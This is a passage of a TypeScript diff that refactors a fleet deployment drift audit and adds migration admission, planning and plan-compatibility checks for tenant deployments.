-        staleDutyReason(
-          duty,
-          Number.isFinite(deployedAt) ? deployedAt : undefined,
-          now,
-          options.staleAfterMs,
-        ),
+  }
+  if (
+    live.artifactVersion !== record.artifactVersion ||
+    live.schemaVersion !==
+      (record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion)
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'version-drift',
+      detail: `expected artifact/schema ${record.artifactVersion}/${record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion}, found ${live.artifactVersion}/${live.schemaVersion}`,
+    });
+  }
+  const deployedAt = Date.parse(record.updatedAt);
+  const dutySegments = configuredDuties(live.maintenance)
+    .map((duty) =>
+      staleDutySegment(
+        duty,
+        Number.isFinite(deployedAt) ? deployedAt : undefined,
+        input.auditNow,
+        input.staleAfterMs,
+      ),
+    )
+    .filter((segment): segment is DutySegment => segment !== undefined);
+  if (!live.maintenance.armed || dutySegments.length > 0) {
+    const segments = [
+      ...(!live.maintenance.armed
+        ? [
+            {
+              template: 'maintenance scheduler is not armed',
+              diagnostic: null,
+            } satisfies DutySegment,
+          ]
+        : []),
+      ...dutySegments,
+    ];
+    const detail = segments.map((segment) => segment.template).join('; ');
+    const legacyDetail = segments
+      .map(
+        (segment) =>
+          segment.template +
+          (segment.diagnostic !== null ? `: ${segment.diagnostic}` : ''),
       )
-      .filter((reason): reason is string => reason !== undefined);
-    if (!live.maintenance.armed || dutyFailures.length > 0) {
-      const reasons = [
-        ...(!live.maintenance.armed
-          ? ['maintenance scheduler is not armed']
-          : []),
-        ...dutyFailures,
-      ];
-      findings.push({
+      .join('; ');
+    push(
+      {
         tenantTag: record.tenantTag,
         environment: record.environment,
         kind: 'maintenance-stale',
-        detail: reasons.join('; '),
-      });
-      try {
-        await options.store.withDeploymentLease(
-          record.tenantTag,
-          record.environment,
-          async (lease) => {
-            const current = await options.store.get(
-              record.tenantTag,
-              record.environment,
-            );
-            if (
-              !current ||
-              current.phase !== record.phase ||
-              current.desiredSpecDigest !== record.desiredSpecDigest ||
-              current.updatedAt !== record.updatedAt
-            ) {
-              throw new Error(
-                'deployment changed after audit inspection; maintenance re-arm aborted',
-              );
-            }
-            await lease.assertOwned();
-            await backend.ensureMaintenance(
-              spec,
-              maintenanceSecret,
-              lease,
-              activeArtifactVersion(record),
+        detail,
+      },
+      segments.some((segment) => segment.diagnostic !== null)
+        ? legacyDetail
+        : null,
+    );
+    try {
+      await input.store.withDeploymentLease(
+        record.tenantTag,
+        record.environment,
+        async (lease) => {
+          const current = await input.store.get(
+            record.tenantTag,
+            record.environment,
+          );
+          if (
+            !current ||
+            current.phase !== record.phase ||
+            current.desiredSpecDigest !== record.desiredSpecDigest ||
+            current.updatedAt !== record.updatedAt
+          ) {
+            throw new Error(
+              'deployment changed after audit inspection; maintenance re-arm aborted',
             );
-          },
-        );
-      } catch (error) {
-        findings.push({
+          }
+          await commitInvocationAuthority(
+            lease,
+            current,
+            input.authorityNowProvider,
+          );
+          await lease.assertOwned();
+          await backend.ensureMaintenance(
+            spec,
+            maintenanceSecret,
+            lease,
+            activeArtifactVersion(record),
+          );
+        },
+      );
+    } catch (error) {
+      push(
+        {
           tenantTag: record.tenantTag,
           environment: record.environment,
           kind: 'audit-error',
-          detail: `maintenance re-arm failed: ${String(error)}`,
-        });
-      }
+          detail: 'maintenance re-arm failed',
+        },
+        `maintenance re-arm failed: ${String(error)}`,
+      );
     }
   }
-  return findings;
-}
-
-export interface FleetVersionRow {
-  readonly tenantTag: string;
-  readonly environment: string;
-  readonly backend: string;
-  readonly artifactVersion: string;
-  readonly schemaVersion: number;
-  readonly phase: string;
+  return { findings, legacyDetails };
 }
 
-export function fleetVersionReport(
-  records: readonly FleetRecord[],
-): readonly FleetVersionRow[] {
-  return [...records]
-    .sort((a, b) =>
-      `${a.tenantTag}:${a.environment}`.localeCompare(
-        `${b.tenantTag}:${b.environment}`,
-      ),
-    )
-    .map((record) => ({
-      tenantTag: record.tenantTag,
+export async function auditFleetDrift(options: {
+  readonly store: FleetStateStore;
+  readonly records: readonly FleetRecord[];
+  readonly inventory: FleetResourceInventory;
+  readonly backendFor: (record: FleetRecord) => ProvisioningBackend;
+  readonly specFor: (record: FleetRecord) => DeploymentSpec;
+  readonly maintenanceSecretFor: (record: FleetRecord) => string;
+  readonly staleAfterMs: number;
+  readonly now?: number;
+}): Promise<readonly DriftFinding[]> {
+  if (!Number.isSafeInteger(options.staleAfterMs) || options.staleAfterMs < 1) {
+    throw new Error('staleAfterMs must be a positive safe integer');
+  }
+  const now = options.now ?? Date.now();
+  const findings: DriftFinding[] = [...options.inventory.findings];
+  // A deployment under active bounded cleanup is audit-suppressed in both
+  // directions: it feeds no expectations (no missing/duplicate findings) and
+  // its declared resource identities join the known sets below so its
+  // still-present resources never read as orphans. The bounded engine is the
+  // reconciliation authority; a long-blocked cleanup stays visible through
+  // the record itself, never through drift findings.
+  const auditedRecords = fleetAuditAuditedRecords(options.records);
+  const known = fleetAuditKnownSets(options.records);
+  const recordsByScript = fleetAuditRecordsByScript(auditedRecords);
+  findings.push(
+    ...auditRegistrationOrphansStage({
+      scriptRegistrations: options.inventory.scriptRegistrations,
+      deployments: options.inventory.deployments,
+      recordsByScript,
+      knownScriptKeys: known.knownScriptKeys,
+    }),
+  );
+  findings.push(
+    ...auditDeploymentOrphansStage({
+      deployments: options.inventory.deployments,
+      recordsByScript,
+      knownScriptKeys: known.knownScriptKeys,
+    }),
+  );
+  const liveByScript = fleetAuditLiveByScript(options.inventory.deployments);
+  findings.push(
+    ...auditDeploymentGapsStage({
+      records: auditedRecords,
+      liveByScript,
+      scriptRegistrations: options.inventory.scriptRegistrations,
+    }),
+  );
+  findings.push(
+    ...auditOrphanDatabasesStage({
+      databaseIds: options.inventory.databaseIds,
+      registeredDatabaseIds: fleetAuditRegisteredDatabaseIds(auditedRecords),
+      knownDatabaseIds: known.knownDatabaseIds,
+    }),
+  );
+  findings.push(
+    ...auditOrphanRoutesStage({
+      routes: options.inventory.routes,
+      expectedRoutes: fleetAuditExpectedRoutes(auditedRecords),
+      knownRouteKeys: known.knownRouteKeys,
+    }),
+  );
+  findings.push(
+    ...auditNamespaceOrphansStage({
+      namespaceIds: options.inventory.namespaceIds,
+      expectedNamespaceIds: fleetAuditExpectedNamespaceIds(auditedRecords),
+      knownNamespaceIds: known.knownNamespaceIds,
+    }),
+  );
+  const expectedNamespaceOwners = new Map<string, FleetRecord>();
+  findings.push(
+    ...auditNamespaceExpectationsStage({
+      records: auditedRecords,
+      inventoryNamespaceIds: options.inventory.namespaceIds,
+      expectedNamespaceOwners,
+    }),
+  );
+  const expectedBuckets = new Map<string, FleetAuditExpectedBucketEntry>();
+  findings.push(
+    ...auditR2ExpectedStage({ records: auditedRecords, expectedBuckets }),
+  );
+  findings.push(
+    ...auditR2OrphansStage({
+      r2Buckets: options.inventory.r2Buckets ?? [],
+      expectedBuckets,
+      knownBucketNames: known.knownBucketNames,
+    }),
+  );
+  findings.push(
+    ...auditR2MissingIdentityStage({
+      expectedBucketEntries: [...expectedBuckets.values()],
+      r2Buckets: options.inventory.r2Buckets ?? [],
+    }),
+  );
+  const liveRoutesByHostname = fleetAuditLiveRoutesByHostname(
+    options.inventory.routes,
+  );
+  const databases = new Map<string, FleetRecord>();
+  const liveNamespaceOwners = new Map<string, FleetRecord>();
+  // A third full walk over every namespace claim:
+  // `fleetAuditExpectedNamespaceIds` collected the claimed ids for
+  // `namespace-orphans` above, and the `namespace-expectations` stage then
+  // visited each claim again. The walker made the collision rule
+  // single-sourced but not its execution; having the stage report its
+  // collisions instead would remove this pass. Recorded rather than changed:
+  // the drain is not the bounded path's hot loop.
+  const duplicateNamespaceIds = new Set(
+    fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords),
+  );
+  for (const record of options.records) {
+    const result = await auditRecordStep({
+      record,
+      recordsByScript,
+      liveByScript,
+      liveRoutesByHostname,
+      inventoryDatabaseIds: options.inventory.databaseIds,
+      hostRoutingKvId: options.inventory.hostRoutingKvId,
+      databases,
+      liveNamespaceOwners,
+      duplicateNamespaceIds,
+      backendFor: options.backendFor,
+      specFor: options.specFor,
+      maintenanceSecretFor: options.maintenanceSecretFor,
+      store: options.store,
+      staleAfterMs: options.staleAfterMs,
+      auditNow: now,
+      authorityNowProvider: () => options.now ?? Date.now(),
+    });
+    findings.push(
+      ...result.findings.map((finding, index) => ({
+        ...finding,
+        detail: result.legacyDetails[index] ?? finding.detail,
+      })),
+    );
+  }
+  return findings;
+}
+
+export interface FleetVersionRow {
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly backend: string;
+  readonly artifactVersion: string;
+  readonly schemaVersion: number;
+  readonly phase: string;
+}
+
+export function fleetVersionReport(
+  records: readonly FleetRecord[],
+): readonly FleetVersionRow[] {
+  return [...records]
+    .sort((a, b) =>
+      `${a.tenantTag}:${a.environment}`.localeCompare(
+        `${b.tenantTag}:${b.environment}`,
+      ),
+    )
+    .map((record) => ({
+      tenantTag: record.tenantTag,
       environment: record.environment,
       backend: record.backend,
       artifactVersion: record.artifactVersion,
@@ -1350,6 +2007,1777 @@ async function retireCommittedRelease(
   return cleared;
 }
 
+interface AdmittedFleetMigrationContext {
+  readonly lease: FleetStateLease;
+  readonly database: NonNullable<
+    Awaited<ReturnType<typeof reconcilePersistedDatabase>>
+  >;
+  readonly backend: ProvisioningBackend;
+  readonly spec: DeploymentSpec;
+  readonly secrets: DeploymentSecrets;
+  readonly targetDigest: string;
+  readonly finalizedStateProvider?: FinalizedOrdinaryStateProvider;
+  readonly settlementFor?: (
+    record: FleetRecord,
+  ) => FleetSettlementHost | undefined;
+  readonly attestationOptions: AttestConvergedActiveRouteOptions;
+  readonly clock: () => number;
+  readonly immutableExternal: boolean;
+  readonly targetRelease?: ExternalReleaseSnapshot;
+  readonly targetPlatform?: ExternalPlatformTargetDescription;
+  readonly platformOnlyTarget?: ExternalPlatformTargetDescription;
+  readonly targetPhysicalScriptName?: string;
+}
+
+type FleetMigrationDependencies = Pick<
+  Parameters<typeof migrateFleet>[0],
+  | 'store'
+  | 'backendFor'
+  | 'specFor'
+  | 'secretsFor'
+  | 'finalizedStateProviderFor'
+  | 'settlementFor'
+> &
+  Readonly<{
+    lease: FleetStateLease;
+    attestationOptions: AttestConvergedActiveRouteOptions;
+    clock: () => number;
+    ordinal: number;
+  }>;
+
+type FleetMigrationPlanKind = 'ready' | 'platform-only' | 'full';
+
+function fleetMigrationPlanKindOf(
+  plan: readonly FleetMigrationPlanEntry[],
+): FleetMigrationPlanKind {
+  if (plan.some(({ step }) => step.startsWith('platform-only-'))) {
+    return 'platform-only';
+  }
+  return plan.some(({ step }) => step === 'seed-identity') ? 'full' : 'ready';
+}
+
+async function runFleetMigrationPreamble(
+  deps: FleetMigrationDependencies,
+  tenantTag: string,
+  environment: string,
+  doBaseExpectation: 'strict' | 'resumption',
+): Promise<
+  Readonly<{ admitted: AdmittedFleetMigrationContext; reread: FleetRecord }>
+> {
+  const { lease } = deps;
+  const stored = await deps.store.get(tenantTag, environment);
+  if (!stored) throw new Error('fleet migration record disappeared');
+  assertNoActiveDecommission(stored, 'migrateFleet');
+  assertNoActiveCleanup(stored, 'migrateFleet');
+  assertBackendSwitchInactive(stored);
+  const storedSchemaVersion = stored.schemaVersion;
+  const backend = deps.backendFor(stored);
+  const spec = deps.specFor(stored);
+  const secrets = deps.secretsFor(stored);
+  const finalizedOrdinaryState =
+    stored.backendSwitchIntent?.subphase === 'finalized' &&
+    stored.platformResources?.stateWorker.plane === 'ordinary';
+  const finalizedStateProvider = finalizedOrdinaryState
+    ? deps.finalizedStateProviderFor?.(stored)
+    : undefined;
+  if (finalizedOrdinaryState) {
+    finalizedBridgeForRecord(stored);
+    if (!finalizedStateProvider) {
+      throw new Error(
+        'finalized ordinary state requires its backend-switch provider',
+      );
+    }
+  }
+  validateDeploymentSpec(spec);
+  validateDeploymentSecrets(spec, secrets);
+  assertImmutableDeploymentMapping(stored, backend, spec);
+  assertPlatformDurableObjectHistory(stored, spec);
+  if (stored.phase !== 'ready' && stored.phase !== 'migrating') {
+    throw new Error(`cannot migrate deployment in phase '${stored.phase}'`);
+  }
+  const targetDigest = deploymentSpecDigest(spec);
+  const immutableExternal =
+    backend.immutableExternalArtifacts === true &&
+    spec.authoredBy === 'external';
+  const targetPhysicalScriptName = immutableExternal
+    ? backend.releaseScriptName?.(spec)
+    : undefined;
+  if (immutableExternal && !targetPhysicalScriptName) {
+    throw new Error(
+      'immutable external backend did not provide a physical release name',
+    );
+  }
+  if (
+    spec.migrations.some(
+      (migration) =>
+        migration.version > storedSchemaVersion &&
+        migration.rollbackCompatible !== true,
+    )
+  ) {
+    throw new Error(
+      'staged D1 migrations must attest rollbackCompatible before candidate creation',
+    );
+  }
+  const targetRelease: ExternalReleaseSnapshot | undefined =
+    targetPhysicalScriptName
+      ? {
+          physicalScriptName: targetPhysicalScriptName,
+          specDigest: targetDigest,
+          artifactVersion: 'pending',
+          releaseSchemaVersion: spec.schemaVersion,
+          application: applicationBindingTopology(
+            spec,
+            stored.applicationResources ?? [],
+          ),
+        }
+      : undefined;
+  const targetPlatform = immutableExternal
+    ? finalizedStateProvider
+      ? finalizedStateProvider.describeFinalizedBridgeTarget(spec, stored)
+      : describeExternalPlatformTarget(backend, spec)
+    : undefined;
+  if (stored.platformTarget && targetPlatform) {
+    assertExternalPlatformTargetCompatibility(
+      stored.platformTarget,
+      targetPlatform,
+    );
+  }
+  const platformOnlyTarget = targetPlatform
+    ? effectiveAppliedPlatformTarget(stored, targetPlatform)
+    : undefined;
+  if (
+    stored.phase === 'migrating' &&
+    (immutableExternal
+      ? stored.migrationIntent?.platformOnly === true
+        ? stored.migrationIntent.targetSpecDigest !== targetDigest ||
+          JSON.stringify(stored.migrationIntent.target) !==
+            JSON.stringify(platformOnlyTarget)
+        : stored.pendingRelease?.specDigest !== targetDigest ||
+          stored.pendingRelease?.physicalScriptName !==
+            targetPhysicalScriptName ||
+          stored.pendingRelease.releaseSchemaVersion !== spec.schemaVersion ||
+          stored.migrationIntent?.targetSpecDigest !== targetDigest
+      : stored.pendingSpecDigest !== targetDigest)
+  ) {
+    throw new Error('migration retry uses a different desired specification');
+  }
+  if (
+    spec.previousDurableObjectTag !== stored.durableObjectTag &&
+    (doBaseExpectation === 'strict' ||
+      (stored.durableObjectTag !== targetDurableObjectTag(spec) &&
+        !(
+          spec.authoredBy === 'external' &&
+          stored.platformResources?.stateWorker.plane === 'ordinary' &&
+          stored.durableObjectTag ===
+            stored.platformResources.stateWorker.durableObjectTag
+        )))
+  ) {
+    throw new Error(
+      `Durable Object migration base mismatch for ${stored.tenantTag}:${stored.environment}: expected '${stored.durableObjectTag ?? 'none'}'`,
+    );
+  }
+  const database = await reconcilePersistedDatabase(
+    backend,
+    stored,
+    false,
+    lease,
+  );
+  if (!database) {
+    throw new Error(`persisted database '${stored.databaseId}' is absent`);
+  }
+  return {
+    reread: stored,
+    admitted: {
+      lease,
+      database,
+      backend,
+      spec,
+      secrets,
+      targetDigest,
+      finalizedStateProvider,
+      settlementFor: deps.settlementFor,
+      attestationOptions: deps.attestationOptions,
+      get clock() {
+        return deps.clock;
+      },
+      immutableExternal,
+      targetRelease,
+      targetPlatform,
+      platformOnlyTarget,
+      targetPhysicalScriptName,
+    },
+  };
+}
+
+function platformOnlyChangeOf(
+  current: FleetRecord,
+  admitted: AdmittedFleetMigrationContext,
+): boolean {
+  return (
+    current.desiredSpecDigest === admitted.targetDigest &&
+    admitted.platformOnlyTarget !== undefined &&
+    current.platformTarget !== undefined &&
+    JSON.stringify(current.platformTarget) !==
+      JSON.stringify(admitted.platformOnlyTarget)
+  );
+}
+
+function assertFleetMigrationNonReadyGuards(
+  admitted: AdmittedFleetMigrationContext,
+  stored: FleetRecord,
+  frozenPlanKind?: FleetMigrationPlanKind,
+): void {
+  const { spec, immutableExternal, targetRelease, targetPlatform } = admitted;
+  const platformOnlyChange = platformOnlyChangeOf(stored, admitted);
+  if (
+    spec.schemaVersion < stored.schemaVersion &&
+    frozenPlanKind !== 'platform-only' &&
+    !platformOnlyChange &&
+    stored.migrationIntent?.platformOnly !== true
+  ) {
+    throw new Error(
+      `schema downgrade refused for ${stored.tenantTag}:${stored.environment}`,
+    );
+  }
+  if (immutableExternal && !stored.activeRelease) {
+    throw new Error(
+      'immutable external migration has no durable active release metadata',
+    );
+  }
+  if (
+    immutableExternal &&
+    targetRelease &&
+    targetPlatform &&
+    (!stored.platformTarget || !stored.outboundPolicy)
+  ) {
+    throw new Error(
+      'immutable external migration has no durable prior platform target and policy',
+    );
+  }
+}
+
+export async function admitFleetMigrationItem(
+  deps: FleetMigrationDependencies,
+  tenantTag: string,
+  environment: string,
+): Promise<
+  Readonly<{
+    admitted: AdmittedFleetMigrationContext;
+    plan: readonly FleetMigrationPlanEntry[];
+    reread: FleetRecord;
+  }>
+> {
+  const { admitted, reread } = await runFleetMigrationPreamble(
+    deps,
+    tenantTag,
+    environment,
+    'strict',
+  );
+  const plan: FleetMigrationPlanEntry[] = [];
+  if (reread.phase === 'ready' && reread.retiringRelease) {
+    plan.push({ step: 'retire-pre' });
+  }
+  const platformOnlyChange = platformOnlyChangeOf(reread, admitted);
+  if (
+    reread.phase === 'ready' &&
+    reread.desiredSpecDigest === admitted.targetDigest &&
+    !platformOnlyChange
+  ) {
+    plan.push(
+      { step: 'ready-target-backfill' },
+      { step: 'ready-platform-resources' },
+      { step: 'ready-maintenance' },
+      { step: 'ready-promote' },
+      { step: 'ready-attest-settle' },
+      { step: 'ready-retire-post' },
+    );
+  } else {
+    if (reread.phase === 'ready') plan.push({ step: 'admit-migrating' });
+    plan.push({ step: 'assert-migrating' });
+    const platformOnly =
+      reread.phase === 'ready'
+        ? platformOnlyChange
+        : reread.migrationIntent?.platformOnly === true;
+    if (platformOnly) {
+      plan.push(
+        { step: 'platform-only-schema' },
+        { step: 'platform-only-resources' },
+        { step: 'platform-only-maintenance' },
+        { step: 'platform-only-promote' },
+        { step: 'platform-only-ready' },
+      );
+    } else {
+      plan.push({ step: 'seed-identity' });
+      const pending = admitted.spec.migrations.filter(
+        ({ version }) => version > reread.schemaVersion,
+      );
+      if (pending.length === 0) plan.push({ step: 'apply-migrations' });
+      for (const { version } of pending) {
+        plan.push({ step: 'apply-migrations', targetSchemaVersion: version });
+      }
+      plan.push(
+        { step: 'migration-schema-applied' },
+        { step: 'platform-resources' },
+        { step: 'pending-topology' },
+        { step: 'deploy-candidate' },
+        { step: 'arm-maintenance' },
+        { step: 'promote' },
+        { step: 'settle-ready' },
+        { step: 'retire-post' },
+      );
+    }
+  }
+  if (plan.length > FLEET_MIGRATION_PLAN_BOUND) {
+    throw new Error(
+      `fleet migration plan for item ${deps.ordinal} exceeds the plan bound of 64 steps`,
+    );
+  }
+  if (fleetMigrationPlanKindOf(plan) !== 'ready') {
+    assertFleetMigrationNonReadyGuards(admitted, reread);
+  }
+  return { admitted, plan, reread };
+}
+
+export async function revalidateFleetMigrationAdmission(
+  deps: FleetMigrationDependencies,
+  plan: readonly FleetMigrationPlanEntry[],
+  targetSpecDigest: string,
+  tenantTag: string,
+  environment: string,
+): Promise<
+  | Readonly<{ admitted: AdmittedFleetMigrationContext; reread: FleetRecord }>
+  | Readonly<{ reason: 'target-drift' }>
+> {
+  const result = await runFleetMigrationPreamble(
+    deps,
+    tenantTag,
+    environment,
+    'resumption',
+  );
+  if (result.admitted.targetDigest !== targetSpecDigest) {
+    return { reason: 'target-drift' };
+  }
+  const planKind = fleetMigrationPlanKindOf(plan);
+  if (planKind !== 'ready') {
+    assertFleetMigrationNonReadyGuards(
+      result.admitted,
+      result.reread,
+      planKind,
+    );
+  }
+  return result;
+}
+
+const MIGRATION_STEP_SUBPHASE: Readonly<
+  Partial<Record<FleetMigrationStep, ExternalMigrationSubphase>>
+> = {
+  'admit-migrating': 'planned',
+  'platform-only-schema': 'schema-applied',
+  'platform-only-resources': 'platform-applied',
+  'platform-only-promote': 'route-published',
+  'migration-schema-applied': 'schema-applied',
+  'platform-resources': 'platform-applied',
+  'deploy-candidate': 'candidate-deployed',
+  'arm-maintenance': 'candidate-armed',
+  promote: 'route-published',
+};
+
+function refuseFleetMigrationPlan(): never {
+  throw new Error('fleet migration item no longer matches its frozen plan');
+}
+
+function assertFleetMigrationFloors(
+  admitted: AdmittedFleetMigrationContext,
+  plan: readonly FleetMigrationPlanEntry[],
+  planCursor: number,
+  current: FleetRecord,
+): void {
+  const reachable: ExternalMigrationSubphase[] = ['planned'];
+  let subphaseFloor: ExternalMigrationSubphase | undefined;
+  let schemaFloor = 0;
+  let candidateCompleted = false;
+  for (const [index, { step, targetSchemaVersion }] of plan.entries()) {
+    const subphase = MIGRATION_STEP_SUBPHASE[step];
+    if (subphase && step !== 'admit-migrating') reachable.push(subphase);
+    if (index >= planCursor) continue;
+    if (subphase) subphaseFloor = subphase;
+    if (step === 'apply-migrations') {
+      schemaFloor = Math.max(
+        schemaFloor,
+        targetSchemaVersion ?? admitted.spec.schemaVersion,
+      );
+    }
+    if (step === 'deploy-candidate') candidateCompleted = true;
+  }
+  if (current.schemaVersion < schemaFloor) refuseFleetMigrationPlan();
+  if (admitted.immutableExternal) {
+    let previous = -1;
+    for (const subphase of reachable) {
+      const index = EXTERNAL_MIGRATION_SUBPHASES.indexOf(subphase);
+      if (index <= previous) refuseFleetMigrationPlan();
+      previous = index;
+    }
+    const subphase = current.migrationIntent?.subphase;
+    if (
+      (subphase !== undefined && !reachable.includes(subphase)) ||
+      (subphaseFloor !== undefined &&
+        (subphase === undefined ||
+          reachable.indexOf(subphase) < reachable.indexOf(subphaseFloor)))
+    ) {
+      refuseFleetMigrationPlan();
+    }
+  } else if (
+    candidateCompleted &&
+    current.pendingArtifactVersion === undefined
+  ) {
+    refuseFleetMigrationPlan();
+  }
+}
+
+export async function assertFleetMigrationPlanCompatibility(
+  admitted: AdmittedFleetMigrationContext,
+  item: Required<Pick<FleetMigrationItem, 'plan' | 'planCursor'>>,
+  current: FleetRecord,
+): Promise<void> {
+  const { plan, planCursor } = item;
+  if (
+    !Number.isSafeInteger(planCursor) ||
+    planCursor < 0 ||
+    !plan[planCursor]
+  ) {
+    refuseFleetMigrationPlan();
+  }
+  const planKind = fleetMigrationPlanKindOf(plan);
+  if (planKind === 'ready') {
+    if (
+      current.phase !== 'ready' ||
+      current.desiredSpecDigest !== admitted.targetDigest ||
+      platformOnlyChangeOf(current, admitted) ||
+      (admitted.targetPlatform &&
+        planCursor >
+          plan.findIndex(({ step }) => step === 'ready-target-backfill') &&
+        !current.platformTarget)
+    ) {
+      refuseFleetMigrationPlan();
+    }
+    return;
+  }
+  const terminal = plan.findIndex(
+    ({ step }) =>
+      step ===
+      (planKind === 'platform-only' ? 'platform-only-ready' : 'settle-ready'),
+  );
+  if (terminal < 0) refuseFleetMigrationPlan();
+  if (planCursor >= terminal) {
+    if (isConvergedTerminalCommit(current, admitted, planKind)) return;
+    if (planCursor > terminal) refuseFleetMigrationPlan();
+  }
+  const admission = plan.findIndex(({ step }) => step === 'admit-migrating');
+  if (
+    admission >= 0 &&
+    (planCursor < admission ||
+      (planCursor === admission && current.phase === 'ready'))
+  ) {
+    const platformOnly = platformOnlyChangeOf(current, admitted);
+    if (
+      current.phase !== 'ready' ||
+      (current.desiredSpecDigest === admitted.targetDigest && !platformOnly) ||
+      platformOnly !== (planKind === 'platform-only')
+    ) {
+      refuseFleetMigrationPlan();
+    }
+    return;
+  }
+  if (
+    current.phase !== 'migrating' ||
+    (current.migrationIntent?.platformOnly === true) !==
+      (planKind === 'platform-only')
+  ) {
+    refuseFleetMigrationPlan();
+  }
+  assertFleetMigrationFloors(admitted, plan, planCursor, current);
+  const assertion = plan.findIndex(({ step }) => step === 'assert-migrating');
+  if (assertion >= 0 && planCursor > assertion) {
+    await assertMigratingCarrierState(admitted, current);
+  }
+}
+
+function isPlatformOnlyTerminalProjection(
+  current: FleetRecord,
+  admitted: AdmittedFleetMigrationContext,
+): boolean {
+  const { platformOnlyTarget } = admitted;
+  return (
+    platformOnlyTarget !== undefined &&
+    JSON.stringify(current.platformTarget) ===
+      JSON.stringify(platformOnlyTarget) &&
+    JSON.stringify(current.outboundPolicy) ===
+      JSON.stringify(platformOnlyTarget.outboundPolicy)
+  );
+}
+
+function isFullTerminalProjection(
+  current: FleetRecord,
+  admitted: AdmittedFleetMigrationContext,
+): boolean {
+  const { spec, targetPlatform, targetRelease } = admitted;
+  if (
+    current.schemaVersion !== spec.schemaVersion ||
+    current.pendingSpecDigest !== undefined ||
+    current.pendingArtifactVersion !== undefined ||
+    current.pendingRelease !== undefined ||
+    current.migrationPriorRelease !== undefined
+  )
+    return false;
+  if (
+    targetPlatform &&
+    (JSON.stringify(current.platformTarget) !==
+      JSON.stringify(targetPlatform) ||
+      JSON.stringify(current.outboundPolicy) !==
+        JSON.stringify(targetPlatform.outboundPolicy))
+  )
+    return false;
+  if (
+    targetRelease &&
+    (!current.activeRelease ||
+      current.activeRelease.physicalScriptName !==
+        targetRelease.physicalScriptName ||
+      current.activeRelease.releaseSchemaVersion !==
+        targetRelease.releaseSchemaVersion)
+  )
+    return false;
+  const expectedApplication = targetRelease
+    ? (current.activeRelease?.application ??
+      applicationBindingTopology(spec, current.applicationResources ?? []))
+    : applicationBindingTopology(spec, current.applicationResources ?? []);
+  return (
+    JSON.stringify(current.applicationBindings) ===
+    JSON.stringify(expectedApplication)
+  );
+}
+
+function isConvergedTerminalCommit(
+  current: FleetRecord,
+  admitted: AdmittedFleetMigrationContext,
+  planKind: 'platform-only' | 'full',
+): boolean {
+  return (
+    current.phase === 'ready' &&
+    current.migrationIntent === undefined &&
+    current.desiredSpecDigest === admitted.targetDigest &&
+    !platformOnlyChangeOf(current, admitted) &&
+    (planKind === 'platform-only'
+      ? isPlatformOnlyTerminalProjection(current, admitted)
+      : isFullTerminalProjection(current, admitted))
+  );
+}
+
+export async function assertMigratingCarrierState(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<void> {
+  const {
+    lease,
+    spec,
+    immutableExternal,
+    targetPlatform,
+    platformOnlyTarget,
+    finalizedStateProvider,
+  } = admitted;
+  if (
+    immutableExternal &&
+    (!current.migrationIntent ||
+      (current.migrationIntent.platformOnly !== true &&
+        (!current.migrationPriorRelease || !current.pendingRelease)))
+  ) {
+    throw new Error(
+      'immutable external migration lost its durable release intent',
+    );
+  }
+  if (targetPlatform && current.migrationIntent) {
+    assertExternalPlatformTarget(
+      current.migrationIntent.target,
+      current.migrationIntent.platformOnly === true
+        ? (platformOnlyTarget as ExternalPlatformTargetDescription)
+        : targetPlatform,
+      'migration retry',
+    );
+  }
+  if (finalizedStateProvider && targetPlatform) {
+    const finalizedPlan = finalizedStateProvider.describeFinalizedState({
+      targetSpec: spec,
+      currentRecord: current,
+      target: current.migrationIntent?.target ?? targetPlatform,
+    });
+    await finalizedStateProvider.assertFinalizedState({
+      targetSpec: spec,
+      currentRecord: current,
+      target: current.migrationIntent?.target ?? targetPlatform,
+      plan: finalizedPlan,
+      fence: lease,
+    });
+  }
+}
+
+async function migrationRetirePre(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, database, backend, spec } = admitted;
+  if (current.phase === 'ready' && current.retiringRelease) {
+    current = await retireCommittedRelease(
+      backend,
+      spec,
+      database,
+      current,
+      lease,
+      admitted.clock,
+    );
+  }
+  return current;
+}
+
+async function migrationReadyTargetBackfill(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, targetPlatform } = admitted;
+  if (targetPlatform) {
+    if (!current.platformTarget) {
+      if (!current.platformResources) {
+        throw new Error(
+          'ready external deployment has no trusted platform resources',
+        );
+      }
+      assertPlatformResourcesMatchTarget(
+        current.platformResources,
+        targetPlatform,
+      );
+      current = {
+        ...current,
+        platformTarget: targetPlatform,
+        outboundPolicy: targetPlatform.outboundPolicy,
+        updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+      };
+      await lease.put(current);
+    }
+  }
+  return current;
+}
+
+async function migrationReadyPlatformResources(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    database,
+    backend,
+    spec,
+    secrets,
+    finalizedStateProvider,
+    targetPlatform,
+    platformOnlyTarget,
+  } = admitted;
+  if (targetPlatform) {
+    const rollbackCompatibleTarget = platformOnlyTarget ?? targetPlatform;
+    assertExternalPlatformTarget(
+      current.platformTarget,
+      rollbackCompatibleTarget,
+      'ready deployment',
+    );
+    current = await convergeExternalPlatformResources(
+      backend,
+      spec,
+      database,
+      secrets,
+      rollbackCompatibleTarget,
+      current,
+      lease,
+      admitted.clock,
+      finalizedStateProvider,
+    );
+  }
+  return current;
+}
+
+async function migrationReadyMaintenance(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    immutableExternal,
+    targetRelease,
+  } = admitted;
+  const live = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    activeArtifactVersion(current),
+  );
+  if (!live) throw new Error('ready migration target is missing');
+  assertLiveDeploymentMatches(
+    live,
+    current,
+    spec,
+    targetDigest,
+    current.activeRelease?.application,
+  );
+  if (immutableExternal && current.activeRelease) {
+    assertExternalReleaseArtifactVersion(
+      live,
+      current.activeRelease,
+      'ready migration',
+    );
+  }
+  if (
+    targetRelease &&
+    (current.activeRelease?.physicalScriptName !==
